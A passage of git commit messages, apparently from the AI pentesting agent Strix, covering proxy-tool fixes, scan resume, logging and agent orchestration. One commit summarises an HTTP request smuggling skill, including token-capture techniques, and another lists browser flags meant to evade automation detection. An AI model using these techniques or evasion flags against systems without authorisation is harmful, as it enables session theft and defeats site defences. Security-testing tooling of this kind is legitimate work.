body capped at 8KB and a body_truncated flag so the model knows
when to fetch the full body via view_request.
- RepeatRequestRenderer was reading non-existent top-level keys
(status_code, response_time_ms, body) and silently displaying
nothing useful — now reads the structured response shape.
send_request was a thin wrapper over the Caido Replay API that the model
could replicate with a one-liner `curl` via exec_command. The sandbox's
HTTP_PROXY env captures all such traffic for free, so the tool was
adding bugs (duplicate dispatch, dropped responses) without adding
capability. Removed across factory, tools module, sandbox-importable
caido_api helper, TUI renderer, prompt template, skill doc, and public
docs. repeat_request stays — it operates on captured request IDs with
structured modifications, which curl can't replicate cleanly.
Three caido-sdk-client workarounds that were hitting us through both
send_request and repeat_request:
- replay_send_raw used to pass CreateReplaySessionFromRaw to
sessions.create(), which seeds a stored entry server-side, then
called send() — producing two history rows per call. Empty-create +
send produces one dispatched request.
- The same helper read result.entry.response_raw, an attribute that
doesn't exist on ReplayEntry, so response bytes were silently
dropped. Fixed to walk result.entry.response.raw with proper None
guards.
- get_request_with_client passed include_request_raw / include_response_raw
based on the requested part, but the SDK's generated pydantic models
declare raw as required even though the GraphQL fragment makes it
conditional via @include. Passing False crashed view_request with a
pydantic validation error. Always request both raw bodies; the caller
picks which to surface.
Also wrapped replay.send() in asyncio.wait_for(30s) so a stalled Caido
dispatch (notably loopback targets that don't route cleanly through the
sandbox proxy) fails fast with a model-readable error instead of
hanging the agent until the function_tool 120s budget expires.
Finally, list_requests now omits the roundtrip_ms field when Caido
reports 0 — proxy-captured unscoped traffic consistently reports 0
while scoped/replay traffic carries real measurements, so the absence
of the field is now informative ("Caido didn't measure this") rather
than misleading ("this request took 0ms").
Notes generated 5-char IDs via a 20-try collision loop while todos
generated 6-char IDs in one shot. Mixed widths across the agent's
view made the two tools look unrelated. Match todo's shape — same
length, same one-shot generation. Collision retry is unnecessary at
scan-scale (a few hundred items vs 16^6 keys).
Reject ambiguous calls in todo tools that previously combined the
single-target params and the bulk-array param (e.g. create_todo with
both `title` and `todos` would silently create N+1 items). Each tool
now errors with a mode-specific hint pointing the model at the
appropriate form. Also drop the meaningless char-count from `think`'s
success message — the model already knows what it wrote.
* feat: add HTTP request smuggling skill
Add a new vulnerability skill covering HTTP request smuggling (HRS)
across CL.TE, TE.CL, H2.CL, and H2.TE desync variants. HRS is absent
from the existing skill set despite being a distinct, high-impact
vulnerability class frequently present in any architecture using a
reverse proxy or CDN in front of an application server.
Coverage:
- CL.TE: front-end uses Content-Length, back-end uses Transfer-Encoding
- TE.CL: front-end uses Transfer-Encoding, back-end uses Content-Length
- H2.CL: HTTP/2 front-end downgrades to HTTP/1.1 with injected Content-Length
- H2.TE: Transfer-Encoding header injection through HTTP/2 desync
- Transfer-Encoding obfuscation techniques (tab, space, duplicate, xchunked)
- Front-end security control bypass via smuggled prefix
- Cross-user request capture for session token theft
- Response queue poisoning and WebSocket handshake hijacking
- Timing-based and differential response detection methodology
- HTTP/2 specific probing techniques
Includes raw HTTP examples for each variant, step-by-step testing
methodology, exploitation PoCs, false-positive conditions, and
infrastructure topology guidance.
* fix: correct TE.CL probe, pseudo-header terminology, PoC Content-Length values, \x20 representation
Four reviewer findings addressed:
P1 — TE.CL timing-probe description inverted: previous text said
'Content-Length set to fewer bytes than the chunk content' which
describes socket-poisoning behavior (differential response), not a
timeout. Corrected to: send a complete chunked body with CL set to MORE
bytes than provided so the back-end waits for data that never arrives.
Also corrected Testing Methodology step 3 to match.
P2 — pseudo-header terminology: 'content-length' is a regular HTTP/2
header, not a pseudo-header (pseudo-headers are exclusively :method,
:path, :authority, :scheme). Fixed the H2.CL explanation (line 75),
HTTP/2-specific detection bullet, and Pro Tip #4 which referred to
':content-length pseudo-header'.
P2 — PoC Content-Length values: outer Content-Length in the bypass PoC
corrected from 116 to 100 (actual byte count of the body shown); capture
PoC corrected from 129 to 120.
P2 — \x20 representation: replaced the \x20 escape sequence in the code
block (which renders as a literal four-character string, not a space byte)
with an explanatory comment and actual whitespace characters so the intent
is unambiguous.
* Update strix/skills/vulnerabilities/http_request_smuggling.md
Two fixes that surfaced from a single broken run.
(1) Source mounting was double-broken:
- ``session_manager.create_or_reuse`` mounted the *parent* of the first
local source under a hardcoded ``"sources"`` key, so the host's
unrelated content leaked in at ``/workspace/sources/...`` while the
agent's task prompt advertised ``/workspace/<workspace_subdir>``
(from ``_build_root_task``). Result: the agent looked at
``/workspace/empty/`` (per the prompt), found nothing, and bailed.
- ``backends._docker_backend`` never called ``await session.start()``
after ``client.create()`` — the SDK's manifest application
(``LocalDir`` materialization, mount setup) only runs inside
``start()`` (or ``async with session:``). So even with the right
``entries`` the workspace would have been empty anyway.
Fix: thread ``args.local_sources`` (already populated by
``collect_local_sources``) all the way through to the session manager,
build ``Manifest.entries`` keyed by each source's ``workspace_subdir``,
and call ``session.start()`` in the docker backend so the SDK actually
materializes the entries. Drop the now-unused ``_resolve_sources_path``
helpers from ``cli.py`` and ``tui.py``.
(2) Scan-failure visibility was nonexistent in TUI mode:
- The SDK's ``on_agent_end`` hook only fires after the agent reaches its
first turn. A failure earlier (model routing, sandbox bring-up, …)
left the root agent stuck at ``status=running`` in the bus and
tracer, so the TUI animated "Initializing" forever.
- ``scan_target`` in ``tui.py`` caught the exception and called
``logging.exception`` but never propagated it. ``run_tui`` returned
cleanly when the user finally ctrl-q'd, so ``main.py`` happily
printed the success-completion banner over a dead scan.
Fix: in ``run_strix_scan``'s ``except BaseException`` block, finalize
the root agent as ``"failed"`` in both the bus and the tracer (with the
error message attached). Capture the exception on
``StrixTUIApp._scan_error`` from the scan thread; ``run_tui`` re-raises
it after ``app.run_async()`` returns so ``main.py``'s existing handler
prints the traceback. Add a ``"failed"`` branch to
``_get_status_display_content`` that shows the error message in red,
mirroring the existing ``llm_failed`` branch.
``MultiProvider`` was constructed with no openai kwargs, so the inner
``OpenAIProvider`` defaulted to reading ``OPENAI_API_KEY`` from the
environment. Strix's contract is that ``LLM_API_KEY`` works for every
provider, so users with ``STRIX_LLM=openai/<model>`` + ``LLM_API_KEY``
hit ``openai.OpenAIError`` at the first turn — the warm-up call worked
because that path goes through ``litellm.completion`` directly with
explicit creds, but the actual scan went through the SDK's MultiProvider
where the key was never plumbed.
Pass ``Settings.llm.api_key`` and ``Settings.llm.api_base`` through to
the underlying ``OpenAIProvider`` via the ``openai_api_key`` /
``openai_base_url`` ctor kwargs. ``openai_use_responses`` flips to
``False`` when ``LLM_API_BASE`` is set — non-default base URLs are the
reliable signal that the user is on an OpenAI-compatible endpoint
that doesn't speak the Responses API. Genuine OpenAI usage keeps the
Responses API as the default transport.
The ``anthropic/`` prefix continues to route through
``AnthropicCachingLitellmModel`` for prompt caching; ``litellm/`` and
other prefixes still fall through to the SDK's stock routing.
The SDK's ``DockerSandboxClient._create_container`` overrode both
``entrypoint`` and ``command`` (``tail`` + ``-f /dev/null``), which kept
the container alive but bypassed the image's ``docker-entrypoint.sh``.
That script is what launches ``caido-cli`` and sets up the browser CA
trust. With it skipped, every scan since the harness migration sat in
``bootstrap_caido`` retrying ``loginAsGuest`` for 30 s against a dead
port and then aborted before any agent work happened.
Drop the ``entrypoint`` override and pass ``[tail, -f, /dev/null]`` as
``command``. The image's ENTRYPOINT runs setup, then ``exec \"\$@\"``
swaps PID 1 to ``tail`` for the keep-alive — same long-running
no-op the SDK was after, but with the manifest/init work done first.
Drops the ``agent-browser install --with-deps`` step (Chrome for
Testing has no ARM64 build and ships several automation tells)
and uses the apt-installed Chromium across both arches.
``agent-browser`` is wired via three env vars baked into the image:
* ``AGENT_BROWSER_EXECUTABLE_PATH=/usr/bin/chromium`` — every
browser launch picks up the apt binary; no per-call flag needed.
* ``AGENT_BROWSER_USER_AGENT`` — recent stable Chrome 131 Linux UA.
* ``AGENT_BROWSER_ARGS`` — minimal stealth flag set:
``--disable-blink-features=AutomationControlled`` (the most-
checked tell), ``--exclude-switches=enable-automation``,
``--disable-features=IsolateOrigins,site-per-process,Translate,
BlinkGenPropertyTrees``, sane window-size + lang, infobars +
save-password + session-crashed bubbles off.
The ``agent-browser doctor --offline --quick`` step at build time
verifies the binary launches; subsequent runtime calls inherit
the env automatically.
Net: smaller image (no ~150 MB Chrome-for-Testing download),
ARM64-clean, env-driven config so future flag tweaks land without
touching the agent-browser install.
Picks up the recent in-image deps (``pip install caido-sdk-client``
for ``python_action`` + Caido CLI bumped to v0.56.0). 0.2.0 is the
new minor since this is the first SDK-migration-era image; users
pulling the new strix should pull the matching new image.
Updated:
- ``strix/config/settings.py:64`` — ``RuntimeSettings.image`` default
- ``strix/runtime/session_manager.py`` + ``strix/orchestration/scan.py`` — docstring example
- ``HARNESS_WIKI.md`` — three references in the runtime + config docs
- ``MIGRATION_EVALUATION.md`` — the SDK-bridging note
The historical changelog row (``HARNESS_WIKI.md:744`` — "bump to
0.1.13") stays untouched on purpose; it records what commit
``640bd67`` did, not the current pin.
When ``_respawn_subagents`` skipped an agent because it was in
``bus.stopping`` (the user clicked stop before the crash), the bus
state was left untouched — status stayed ``running`` forever, so
``view_agent_graph`` and the TUI tree showed phantom agents that
would never make progress.
Now the skip path collects those agent ids and finalizes each as
``stopped`` outside the lock, which transitions status correctly,
clears the ``stopping`` entry (``finalize`` already discards it),
moves the live stats to ``stats_completed``, and triggers the
post-finalize snapshot. A subsequent ``view_agent_graph`` shows the
truth: the agent is stopped.
Two follow-ups from the post-fix audit:
**#1 critical**: ``orchestration/scan.py`` injects the user's new
``--instruction`` into the root's bus inbox via ``bus.send`` on resume,
but ``send`` is one of the deliberately-not-snapshotted high-frequency
mutations. A SIGKILL between that send and the model's first turn
would silently drop the user's new directive. Force a snapshot
immediately after the inject — that's the one specific message we
can't afford to lose, while leaving general ``send`` traffic
unsnapshotted as designed.
**Notes persistence**: ``strix/tools/notes/tools.py`` now mirrors the
todo pattern. ``_notes_storage`` writes through to
``{run_dir}/notes.json`` after every create/update/delete via the
same atomic-tempfile + ``Path.replace`` flow. New
``hydrate_notes_from_disk(run_dir)`` is wired in ``run_strix_scan``
alongside ``hydrate_todos_from_disk`` so a resumed scan recovers the
exact note set the prior process saw, including ``wiki``-category
notes.
Three critical correctness fixes + six TUI/audit/UX fixes from the
parallel-agent audit. All changes verified by an end-to-end smoke
that builds, persists, and re-hydrates state across two simulated
process boundaries.
Critical (resume integrity):
1. ``bus.cancel_descendants_graceful`` now calls ``_maybe_snapshot``
after mutating the ``stopping`` set. Previously, a process crash
between user-initiated graceful-stop and the next finalize lost
the stop signal — respawned agents would run forever instead of
exiting. ``_respawn_subagents`` also gains a guard that skips
agents in ``stopping`` so a previously-cancelled agent is not
resurrected on resume.
2. ``Tracer.hydrate_from_run_dir`` now **raises** on corrupt
``vulnerabilities.json`` instead of swallowing the exception. The
prior behaviour silently reset ``vulnerability_reports`` to empty,
so the next ``add_vulnerability_report`` would allocate ``vuln-0001``
and overwrite the prior MD on disk — silent data loss.
3. ``--instruction`` passed on resume now reaches the model. The CLI
captures whether the user explicitly passed an instruction
(``args.user_explicit_instruction``) before ``_load_resume_state``
loads the persisted one. ``run_strix_scan`` reads
``scan_config["resume_instruction"]`` and, on resume, sends the
new instruction to root's bus inbox before calling
``run_with_continuation`` (which uses ``initial_input=[]`` for SDK
replay). The inject filter surfaces it on the next turn.
4. ``--resume X`` errors loudly when ``scan_state.json`` exists but
``bus.json`` doesn't. Previously this silently fresh-started in
the same dir, confusing the user who explicitly asked to resume.
TUI / audit / UX:
5. ``Tracer.hydrate_from_run_dir`` now reads ``bus.json`` too and
pre-populates ``tracer.agents`` from the snapshot's ``statuses`` /
``names`` / ``parent_of``. Before this, the TUI tree on resume
showed only currently-running agents; completed/crashed children
from the prior run were invisible.
6. ``Tracer.hydrate_from_run_dir`` also seeds ``self._llm_stats`` from
``bus.stats_live + bus.stats_completed`` so the resume's footer
shows cumulative tokens / requests across the prior run plus the
resume segment, instead of resetting to zero.
7. ``Tracer.save_run_data`` now also writes ``run_metadata.json``
(start_time, run_id, run_name, targets, status), and
``hydrate_from_run_dir`` restores ``start_time`` from it. Prior
behaviour reset start_time to ``now()`` on every Tracer init,
breaking the final report's duration calc on resumed scans.
8. Per-agent todos persist to ``{run_dir}/todos.json`` (atomic write
on every CRUD). ``hydrate_todos_from_disk`` (called from
``run_strix_scan``) reloads them so respawned subagents find
their lists intact. Previously, the module-level
``_todos_storage`` was lost on every process restart.
9. ``_load_resume_state`` validates each ``cloned_repo_path`` from
the persisted ``scan_state.json`` still exists on disk. Previously
a deleted clone dir would let the resume proceed with an empty
source tree, with agents silently scanning nothing.
Bonus: ``bus.finalize`` no longer pops ``parent_of`` and ``names``
for finalized agents. Routing protection (don't accept ``send`` to
finalized agents) comes from the ``statuses[id]`` terminal-state
check in ``send`` itself, so dropping those keys was overzealous and
made completed children invisible in ``view_agent_graph`` and the
TUI tree.
Adds an explicit ``--resume RUN_NAME`` flag that loads the prior
run's persisted scan state from ``strix_runs/<run_name>/scan_state.json``
and replays it (targets, scan_mode, instruction, local_sources,
diff_scope, scope_mode, diff_base) so the user never has to retype
their original args.
The exit panel now suggests ``strix --resume <run_name>`` instead of
``--run-name``. Same single-line, same dim-label / coloured-value
styling as ``Target`` / ``Output`` rows, gated on
``not scan_completed``.
CLI contract:
* ``--resume X`` cannot be combined with ``--target`` (parser error).
* ``--resume X`` errors with a clear message if
``strix_runs/X/scan_state.json`` is missing.
* Fresh runs persist scan_state.json once at the end of setup —
after target normalization, repo cloning, local-source
collection, diff-scope resolution, and final instruction
composition. So whatever the agent saw on first run is exactly
what the resumed run sees.
Internally the resume path stays implicit (presence of bus.json
triggers it inside ``run_strix_scan``); ``--resume`` is a UX layer
that:
1. Sets ``args.run_name = args.resume``.
2. Pre-populates ``args.targets_info`` and friends from disk.
3. Skips the fresh-only steps (target re-parse, repo clone,
diff-scope re-resolution) — the persisted values were already
finalized on the first run.
HARNESS_WIKI.md: drop the "delete the run dir to force fresh"
instruction.
When a scan ends without calling ``finish_scan`` (Ctrl+C, TUI quit,
crash), ``display_completion_message`` now appends one extra line
inside the existing completion panel:
Resume strix --run-name <run_name>
Same ``dim``-label / coloured-value styling as the panel's ``Target``
and ``Output`` rows. Only rendered when ``scan_completed`` is False —
a finished scan doesn't need a resume nudge.
Triggers ``orchestration/scan.py``'s implicit-resume path on the next
invocation (presence of ``{run_dir}/bus.json`` is the trigger), so
the user gets back exactly where they left off — root + every
non-terminal subagent's full LLM history, bus topology, prior
findings.
Covers both ``run_cli`` and ``run_tui`` paths since
``display_completion_message`` is called from ``main()`` regardless
of which front-end ran.
When the user shuts down a run (Ctrl+C in CLI, Ctrl+Q / quit dialog
in TUI, or an uncaught exception during the scan), print a Rich
panel telling them the exact command to pick up where they left off:
strix --run-name <run_name>
The panel only appears when ``strix_runs/<run_name>/bus.json``
exists — i.e. the scan registered at least the root agent and has
snapshot state worth resuming from. Suppressed when:
* No run-name was assigned (Ctrl+C before sandbox bring-up).
* The run dir doesn't exist or has no bus.json yet.
Implementation:
* ``strix/interface/utils.py`` gains ``format_resume_hint(run_name)
-> Panel | None``.
* ``cli.py`` calls it in the SIGINT/SIGTERM/SIGHUP handler before
``sys.exit(1)``, and in the ``except Exception`` arm before the
re-raise.
* ``tui.py:run_tui`` calls it in a ``finally`` after
``app.run_async()`` so the hint lands on the real terminal once
Textual has restored it (whether the user pressed Ctrl+Q,
confirmed the quit dialog, or the run completed naturally).
A scan that crashes or is stopped can now be resumed by re-invoking
``strix`` with the same ``--run-name``. Resume is implicit — presence
of ``{run_dir}/bus.json`` triggers it. To force a fresh start, delete
the run dir.
What survives a process restart with the same scan_id:
* Root agent's LLM history — already worked (root SDK SQLiteSession).
* Every non-terminal subagent's LLM history — new. ``create_agent``
now opens SQLiteSession(session_id=child_id,
db_path={run_dir}/sessions/{child_id}.db) per child and passes it
to ``run_with_continuation``.
* Bus topology — new. ``AgentMessageBus`` gains snapshot/restore/
_maybe_snapshot async methods plus a ``metadata`` field that holds
per-agent {task, skills, is_whitebox, scan_mode, diff_scope}.
``register``, ``finalize``, ``park``, and ``mark_llm_failed`` each
call ``_maybe_snapshot`` to atomically persist the bus to
{run_dir}/bus.json (tempfile + Path.replace).
* Vulnerability reports — new. ``ScanArtifactWriter._write_
vulnerabilities`` now also writes ``vulnerabilities.json``
(atomic). ``Tracer.hydrate_from_run_dir`` reads it on resume so
new vuln-NNNN ids don't collide with prior on-disk files.
What does not survive: the sandbox container itself (fresh per
process), so ``/workspace/scratch`` and Caido state are lost.
``/workspace/sources`` re-mounts from the host so source code is
unchanged.
``orchestration/scan.py:run_strix_scan`` does the actual resume:
1. Resolve run_dir up front; if bus.json exists it's a resume.
2. Acquire {run_dir}/.lock (fcntl.flock) so a second strix process
can't run concurrently on the same scan_id.
3. ``bus.set_snapshot_path(...)``, ``tracer.hydrate_from_run_dir()``.
4. On resume: load + bus.restore, find root_id from snapshot (the
agent with parent_of[id] is None), spawn the sandbox, skip the
root's bus.register (already in snapshot).
5. ``_respawn_subagents`` walks every agent with status in
running/waiting/llm_failed: reopens its SQLiteSession, rebuilds
the child agent via the captured factory, builds run config /
context, asyncio.create_task the run with initial_input=[] so
the SDK replays from session. Per-child failure (missing/corrupt
DB, factory raises) finalizes that child as crashed and continues.
6. Open root SQLiteSession at the same path, run the root with
initial_input=[] on resume (or the formatted root task on a
fresh run), and let SDK replay drive the next turn.
7. ``finally``: close every per-agent session, take a final
snapshot, tear down sandbox, release the lock.
HARNESS_WIKI.md updated with the new run-dir layout (sessions/,
bus.json, vulnerabilities.json, .lock) and the resume contract.
Net: +500 LoC across 7 files. No new deps.
The notes tool no longer touches disk. ``_notes_storage`` lives in
memory for the lifetime of one scan process, shared across every
agent in that process via the existing RLock. Process exit clears
the lot — no notes.jsonl event log, no wiki/<slug>.md Markdown
rendering, no replay-on-startup hydration.
Removed ~10 internal helpers (``_get_run_dir``,
``_get_notes_jsonl_path``, ``_append_note_event``,
``_load_notes_from_jsonl``, ``_ensure_notes_loaded``,
``_persist_wiki_note``, ``_remove_wiki_note``,
``_get_wiki_directory``, ``_get_wiki_note_path``,
``_sanitize_wiki_title``) plus the ``_loaded_notes_run_dir`` module
state, ``wiki_filename`` per-note field, and the ``OSError`` branches
that only existed for the wiki write path.
The ``wiki`` category is preserved as a free-form long-form bucket;
it just no longer has any special persistence behaviour.
Skill prompts scrubbed of every "shared wiki memory" / "repo wiki" /
"append a delta before agent_finish" instruction:
``coordination/source_aware_whitebox.md``,
``custom/source_aware_sast.md``,
``scan_modes/{quick,standard,deep}.md``, plus the WHITE-BOX TESTING
block in ``agents/prompts/system_prompt.jinja``.
HARNESS_WIKI.md updated to drop the wiki-as-shared-knowledge-base
description, the per-run output-tree references to ``notes/notes.jsonl``
and ``wiki/{note_id}-{slug}.md``, and the ``is_whitebox`` toggle prose.
Net: -178 LoC in notes/tools.py, -45 LoC across skills/system_prompt
and the wiki doc. The notes tool surface (5 ``@function_tool``s) is
unchanged for the agent.
Five gaps from the post-implementation audit, closed:
1. **SDK logger captured.** The openai-agents SDK uses
``logging.getLogger("openai.agents")`` for its own lifecycle events
(Runner.run starts, tool dispatch, model retries, exceptions).
Previous setup only attached handlers to the ``strix`` root, so
SDK-internal events were dropped. Tracked-roots tuple now covers
both, with the same FileHandler/StreamHandler/Filter chain.
2. **Proxy tool exception tracebacks.** Every ``@function_tool`` in
``strix/tools/proxy/tools.py`` returns a JSON error to the LLM via
the ``_err(name, exc)`` helper. The tracebacks were silently
formatted away — the LLM saw the message, the human reading the
log saw nothing. ``_err`` now emits ``logger.exception(...)``
covering all five tools at once.
3. **CLI bootstrap.** ``strix/interface/main.py`` had its module
``logger`` removed by the previous commit and was emitting nothing.
Restored, plus log lines for env validation, docker check, LLM
warm-up, and image pull (debug for already-present, info for
pull, exception for failures).
4. **Docker client.** ``strix/runtime/docker_client.py`` had no
logger. Container creation now logs caps + exposed ports at DEBUG
and the resulting container id at INFO.
5. **PostHog telemetry.** ``strix/telemetry/posthog.py`` had no
logger. Now logs send success/failure at DEBUG, version-detection
failures at DEBUG, and disabled-skip at DEBUG (so the log shows
when telemetry is off, instead of being silent about it).
Every scan now writes a complete log file at ``{run_dir}/strix.log``
captured from the moment ``run_dir`` is resolved through teardown.
Stdlib ``logging`` only — no parallel framework.
New ``strix/telemetry/logging.py``:
* ``setup_scan_logging(run_dir, debug=)`` attaches a ``FileHandler``
(DEBUG, all ``strix.*``) plus a ``StreamHandler`` (ERROR by
default; DEBUG via ``STRIX_DEBUG=1``).
* ``ContextVar``-backed ``scan_id`` and ``agent_id`` injected by a
``Filter`` so every line is auto-tagged across asyncio tasks
without callers passing them explicitly.
* Third-party noise (``httpx``, ``litellm``, ``openai``,
``anthropic``, ``urllib3``, ``httpcore``) capped at WARNING.
* Returns a teardown handle for ``finally`` cleanup.
Wiring:
* ``orchestration/scan.py`` calls ``setup_scan_logging`` once per
scan after ``run_dir`` resolves; sets scan_id; tears down in
``finally``. Adds INFO logs for sandbox bring-up + scan
start/end.
* ``orchestration/hooks.py`` sets/clears ``agent_id`` ContextVar in
``on_agent_start`` / ``on_agent_end`` and emits INFO for agent
lifecycle, DEBUG for every tool start/end and LLM call.
* ``interface/main.py`` drops the ``setLevel(ERROR)`` silencer.
Coverage expanded across ~20 files (orchestration, agents, runtime,
llm, tools, interface, config, skills) with INFO for lifecycle and
DEBUG for verbose detail. Per the system instructions in
``logger.warning(f"…{e}")`` were converted to module logger calls.
Restores the legacy persistent-IPython tool's *ergonomics* (proxy
helpers pre-bound, structured stdout/stderr/error returns) without the
in-container daemon: each call ships ``strix.tools.proxy._calls`` source
into ``/tmp`` alongside a per-call driver, runs ``python3 -u`` against
it, and parses a sentinel-delimited JSON payload back from stdout. The
driver fetches its own guest token from Caido at ``localhost:48080``
and binds ``list_requests`` / ``view_request`` / ``send_request`` /
``repeat_request`` / ``scope_rules`` to that client; user code runs
inside an ``async def`` wrapper so top-level ``await`` works.
The proxy SDK call sequences live in one file —
``strix/tools/proxy/_calls.py`` — and are reused by both the host-side
``@function_tool`` wrappers (which add JSON serialization for the LLM)
and the in-container kernel (which exposes the bare async functions).
No code duplication; the helper logic itself is host-shipped, so
tweaking the proxy helpers does not require an image rebuild.
Image: a single ``pip install caido-sdk-client`` line so the driver's
``import caido_sdk_client`` resolves. Skill ``tooling/python`` is
always-loaded alongside ``tooling/agent_browser``.
Trade-off accepted: state does not persist across calls (no kernel).
For multi-step workflows the agent combines into one ``code`` block or
writes a script to ``/workspace/scratch/`` and runs via
``exec_command``. If a workflow surfaces that genuinely needs
persistence, the same tool surface migrates to a kernel-backed
executor without changing the LLM contract.
The pinned URL pattern (https://caido.download/releases/v<X>/caido-cli-v<X>-linux-<arch>.tar.gz)
is canonical — it's published by api.caido.io/releases/latest. HEAD requests
return 404 because the upstream R2 bucket only honors GET-with-redirect, but
the wget call in the Dockerfile uses GET so the original URL was never
actually broken — it was just stale.
Switch to an ARG so future bumps are a single --build-arg override.
Three top-level files that didn't earn their place:
- ``strix/io/scan_artifacts.py`` had a single consumer (the Tracer);
collapsing it into ``strix/telemetry/`` puts it next to that consumer.
``strix/io/`` is gone.
- ``strix/run_config_factory.py`` held two helpers that didn't earn the
factoring. ``make_agent_context`` was a 17-line dict-spelling function
whose argument names were identical to its dict keys — replaced with
inline dict literals at the two call sites. ``make_run_config`` had
enough RunConfig assembly logic to justify a helper, but with only
two callers (root scan + ``create_agent``) inlining is cleaner than
keeping a top-level file. ``DEFAULT_RETRY`` moves to
``strix/llm/retry.py`` next to its other LLM-policy peers; the dead
``STRIX_DEFAULT_MAX_TURNS`` constant is dropped.
- ``strix/entry.py`` is a misnomer — it isn't *the* entry point (that's
``strix/interface/main.py`` for the CLI), it's the per-scan bring-up
driver: build the bus, bring up the sandbox, build the root agent +
child factory, format the scope-context block, register root in bus,
open SQLiteSession, hand off to ``run_with_continuation``. That all
lives next to its peers in ``strix/orchestration/`` now, renamed to
``scan.py`` so the role is obvious.
No behavior change. Net -125 LoC.
The 19 tool renderers under strix/interface/tool_components/ all read
tool_data.get("args", {}) to render meaningful previews (URLs, methods,
note titles, vuln severities, etc.). After the SDK migration,
tracer.log_tool_start was only recording tool_name — every renderer
silently fell back to its empty-args path and the TUI lost its
per-call context.
Pull args from the SDK-native ToolContext (tool_input when parsed,
otherwise json-decode tool_arguments) and stash them on the
tool_executions entry. log_tool_start now takes an optional args dict;
existing callers pass nothing and get the empty-dict default.
Audit flagged that legacy ``finish_scan`` had a code-level guard
(``_check_active_agents``) that refused completion if any subagent was
still running or stopping. Restoring it as code would be defensive
mid-stream cancellation we don't actually want — the agent should
choose whether to wait, message, or stop each child.
Lift the responsibility to the prompt instead: docstring now opens
with a numbered pre-flight checklist that requires the agent to
``view_agent_graph`` first and refuses self-permission to call
``finish_scan`` while any peer is in ``running`` / ``waiting`` /
``llm_failed``. The model sees this as part of the tool's schema and
treats it as a hard rule (matches our pattern for similar
constraints).
Final pass after re-audit. Three sub-specs landed:
**XML simplification** — the legacy XML envelopes were prompt-engineering
ceremony, not parser primitives (the SDK uses native tool-calling). Drop
the verbose wrappers in favor of one-liner labeled headers. Side benefit:
fixes the unescaped-content XML-injection bug the audit caught (peer
content containing ``</content>`` no longer breaks the wrapper).
- ``_format_inter_agent_message``: ``<inter_agent_message><sender>...
<content>...`` 9-line XML → ``[Message from {name} ({id}) | type=... |
priority=...]\n{content}``.
- ``_render_completion_report``: ``<agent_completion_report><agent_info>
...<results>...`` XML → human-readable structured text with section
headers and bulleted lists.
- ``inherited_context``: ``<inherited_context_from_parent>...`` →
``== Inherited context from parent (background only) ==``.
**MG1: TUI stop-agent uses graceful cancel.** ``tui.py`` was calling
``bus.cancel_descendants`` (hard, ``task.cancel()`` mid-stream) for the
stop-agent button. Switched to ``bus.cancel_descendants_graceful``, which
uses ``RunResultStreaming.cancel(mode="after_turn")`` to let each agent
finish its current turn (and save to session) before honoring the cancel.
The hard path remains in ``entry.py`` for KeyboardInterrupt where
graceful isn't possible.
**MG2: Document hook lock-free stats mutation.** Added a comment in
``hooks.on_llm_start`` explaining why ``warned_85`` / ``warned_final``
are mutated lock-free: SDK serializes ``on_llm_start`` per agent, so this
hook is the sole writer to those keys; ``record_usage`` only writes
disjoint keys (in/out/cached/calls).
**AG3: Auto-load ``coordination/root_agent`` skill for the root.**
Legacy auto-loaded the orchestration-guidance skill for root agents
only. Threaded ``is_root`` through ``render_system_prompt`` →
``_resolve_skills``; root agents now get the skill, children don't.
Skipped (per user direction): whitebox-wiki integration (CG2-4) — the
auto-injection / auto-update of the shared repo wiki was a pre-migration
feature; user opted not to restore it.
Audit found 8 behavioral gaps between post-migration and the legacy
``BaseAgent.agent_loop``. All 8 are now closed using SDK-native
primitives — no custom workarounds, no shadow state machines.
What was broken / different:
- G1: ``inherit_context`` was dead code; children always started fresh.
- G2: TUI user message couldn't interrupt an in-flight LLM/tool turn.
- G3: ``llm_failed`` state never set; hard failures propagated as crashes.
- G4: No graceful ``stop_agent`` tool.
- G5: Parked subagents waited forever (no auto-resume timeout).
- G6: Inter-agent messages used a plain header instead of legacy XML.
- G7: Completion reports used JSON instead of legacy XML.
- G11/G12: Turn counter reset per cycle; budget warnings could re-fire.
What we did:
Bus extensions (``orchestration/bus.py``):
- ``streams`` registry + ``attach_stream`` ctx manager + ``request_interrupt``
for SDK-native ``RunResultStreaming.cancel(mode="after_turn")``.
- ``mark_llm_failed`` + ``wait_for_user_message`` (filtered: only ``from="user"``
satisfies; peer messages don't unstick a stuck model).
- ``stopping: set[str]`` for graceful programmatic exit.
- ``cancel_descendants_graceful`` — leaves-first via ``request_interrupt``.
- ``record_usage`` increments ``calls`` unconditionally so it doubles as the
per-agent-lifetime turn counter (legacy ``state.iteration`` parity).
- ``warned_85`` / ``warned_final`` flags on ``stats_live`` for once-fire
budget warnings.
Run loop rewrite (``orchestration/run_loop.py``):
- ``Runner.run`` → ``Runner.run_streamed`` with ``bus.attach_stream`` so
cancel has a target. Catch ``(AgentsException, APIError)`` after retries
exhaust; in interactive mode call ``mark_llm_failed`` + wait for user.
- ``UserError`` / ``MaxTurnsExceeded`` / ``CancelledError`` propagate.
- Outer loop: ``asyncio.wait_for(bus.wait_for_message, timeout=300)`` for
interactive subagents (root waits forever). ``TimeoutError`` injects
``"Waiting timeout reached. Resuming execution."``.
- Honors ``bus.stopping`` at top of each iteration.
Hooks (``orchestration/hooks.py``):
- Counter source moved from per-cycle ``ctx["turn_count"]`` to
per-lifetime ``bus.stats_live[agent_id]["calls"]``.
- Warnings guarded by once-flags — exactly-once across all cycles.
Filter (``orchestration/filter.py``):
- Restored legacy ``<inter_agent_message>`` XML envelope with the
``<delivery_notice>DO NOT echo back</delivery_notice>`` instruction.
Agents-graph (``tools/agents_graph/tools.py``):
- G1: ``create_agent`` reads ``ctx.turn_input`` (SDK populates it before
tool execution at ``run_internal/turn_resolution.py:806``). Wraps as
one ``<inherited_context_from_parent>`` block.
- G7: ``agent_finish`` emits the legacy ``<agent_completion_report>``
XML. ``child_ctx["task"] = task`` threaded so the report echoes the
original task.
- G4: New ``stop_agent`` tool — refuses self-stop, refuses already-
finalized targets, ``cascade=True`` uses ``cancel_descendants_graceful``.
TUI (``interface/tui.py``):
- ``_send_user_message`` schedules ``bus.send`` AND
``bus.request_interrupt(target, mode="after_turn")`` — SDK finishes
current turn cleanly, next cycle picks up the user's message.
Factory (``agents/factory.py``):
- Registered ``stop_agent`` in ``_BASE_TOOLS``.
Out of scope:
- G8 (``[ABORTED BY USER]`` marker) is auto-resolved by G2 — the SDK
saves the full assistant message before honoring
``cancel(mode="after_turn")``, so partial content is preserved in the
session.
Verified all bus behaviors with a smoke test. Lint at baseline.
Top-level ``strix/run_loop.py`` was an orphan — it owns the multi-agent
